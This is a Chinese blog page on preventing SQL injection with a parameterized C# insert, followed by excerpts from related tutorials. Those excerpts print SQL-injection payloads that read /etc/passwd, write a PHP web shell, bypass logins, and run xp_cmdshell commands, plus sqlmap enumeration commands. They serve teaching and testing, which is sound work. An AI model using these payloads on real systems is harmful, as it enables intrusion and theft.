SQL 防止注入

var strsql = "insert into Staff_Answer (ExamTitleID,QuestionsID,MultipleChoice,RightOption,AnswerOption,IsRight,Score,StaffScore,Remark,State,Creator,CreatOrg,CreateTime) values";
        strsql += "(@ExamTitleID,@QuestionsID,@MultipleChoice,@RightOption,@AnswerOption,@IsRight,@Score,@StaffScore,@Remark,@State,@Creator,@CreatOrg,@CreateTime)";
        var cmd = new SqlCommand(strsql);
        var param = new SqlParameter[] {
                                                  new SqlParameter("@ExamTitleID",SqlDbType.UniqueIdentifier),
                                                  new SqlParameter("@QuestionsID",SqlDbType.UniqueIdentifier),
                                                  new SqlParameter("@MultipleChoice",SqlDbType.NVarChar,2),
                                                  new SqlParameter("@RightOption",SqlDbType.NVarChar,200),
                                                 new SqlParameter("@AnswerOption",SqlDbType.NVarChar,200),
                                                 new SqlParameter("@IsRight",SqlDbType.NVarChar,2),
                                                new SqlParameter("@Score",SqlDbType.Decimal,18),
                                                 new SqlParameter("@StaffScore",SqlDbType.Decimal,18),
                                                new SqlParameter("@Remark",SqlDbType.Text),
                                                 new SqlParameter("@State",SqlDbType.NVarChar,2),
                                                 new SqlParameter("@Creator",SqlDbType.NVarChar,200),
                                                 new SqlParameter("@CreatOrg",SqlDbType.NVarChar,200),
                                                 new SqlParameter("@CreateTime",SqlDbType.NVarChar,200)
                                             };

param[0].Value = new Guid(this.ExamTitleCode.Value);
        param[1].Value = new Guid(QuestionsID);
        param[2].Value = Anserdt.Rows[0]["MultipleChoice"].ToString();
        param[3].Value = RightOption;
        param[4].Value = AnswerOption;
        param[5].Value = ISRight ? "1" : "0";
        param[6].Value = Convert.ToInt32(Question.Rows[0]["Score"]);
        param[7].Value = ISRight ? Convert.ToInt32(Question.Rows[0]["Score"]) : 0;
        param[8].Value = this.Remark.InnerText;
        param[9].Value = "1";
        param[10].Value = userid;
        param[11].Value = Orgname1;
        param[12].Value = DateTime.Now;

foreach (SqlParameter para in param)
        {
            cmd.Parameters.Add(para);
        }
        helps.GetExecuteNonQueryBySqlPa(cmd);

时间: 2024-08-28 21:14:13

SQL 防止注入的相关文章

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

PreparedStatement可以有效地防止sql被注入

import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.Statement; import org.junit.Test; import util.JdbcUtil; /** * 模拟用户登录效果 * @author APPle * */ public class Demo2 { //模拟用户输入 //private String name

sql 防注入 维基百科

http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A SQL攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏. 有部份人认为SQL注入攻击是只针对Mi

ASPSecurity SQL 防注入

<% '************** ASPSecurity SQL 防注入************** ' Copyright 2006 ' Create:2006-4-06 ' Update:2006-6-01 '*************************************************** If Request.Form<>"" Then StopInjection(Request.Form) If Request.QueryString

基于dvwa环境下级别为low的SQL手工注入教程

基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这个入口,浪费了不少的时间,所以在这里就提一下,最好是能够记住,忘了的话可以随时过来看一下:http://127.0.0.1/DVWA/setup.php. 按照提示点击最下面的按钮创建数据库,创建成功就会直接进入登录页面进行登录,然后就可以直接访问http://127.0.0.1/DVWA/logi

【spring】jdbcTemplate之sql参数注入

demo @Repository("jdbcDao") public class JdbcTemplateDao { @Autowired private JdbcTemplate jdbcTemplate; @Autowired private NamedParameterJdbcTemplate namedTemplate; private final static List<String> names = new ArrayList<String>();

在Hdsi2.0 SQL的注入部分抓包分析语句

恢复cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.sp_addextendedproc ''xp_cmdshell'',''xplog70.dll''-- 执行命令: sql: ;ipconfig -all-- dos: ;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list

ADO.net 防止SQL 字符串注入攻击

规避SQL注入 如果不规避,在黑窗口里面输入内容时利用拼接语句可以对数据进行攻击 如:输入Code值 p001' union select * from Info where '1'='1 //这样可以查询到所有数据,不要轻易相信用户输入的内容 防止SQL注入攻击 通用方法:可以用正则匹配掉特殊符号 推荐方法:再给命令发送SQL语句的时候分两次发送 把SQL语句拆成两块 用户输入的是一块:本身写好的是一块 第一次把CommandText里写的sql语句发过去:第二次把变量值发过去,进行匹配 例:

sql 手工注入 补充一(未完待续)

1. 基础用法: ./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名./sqlmap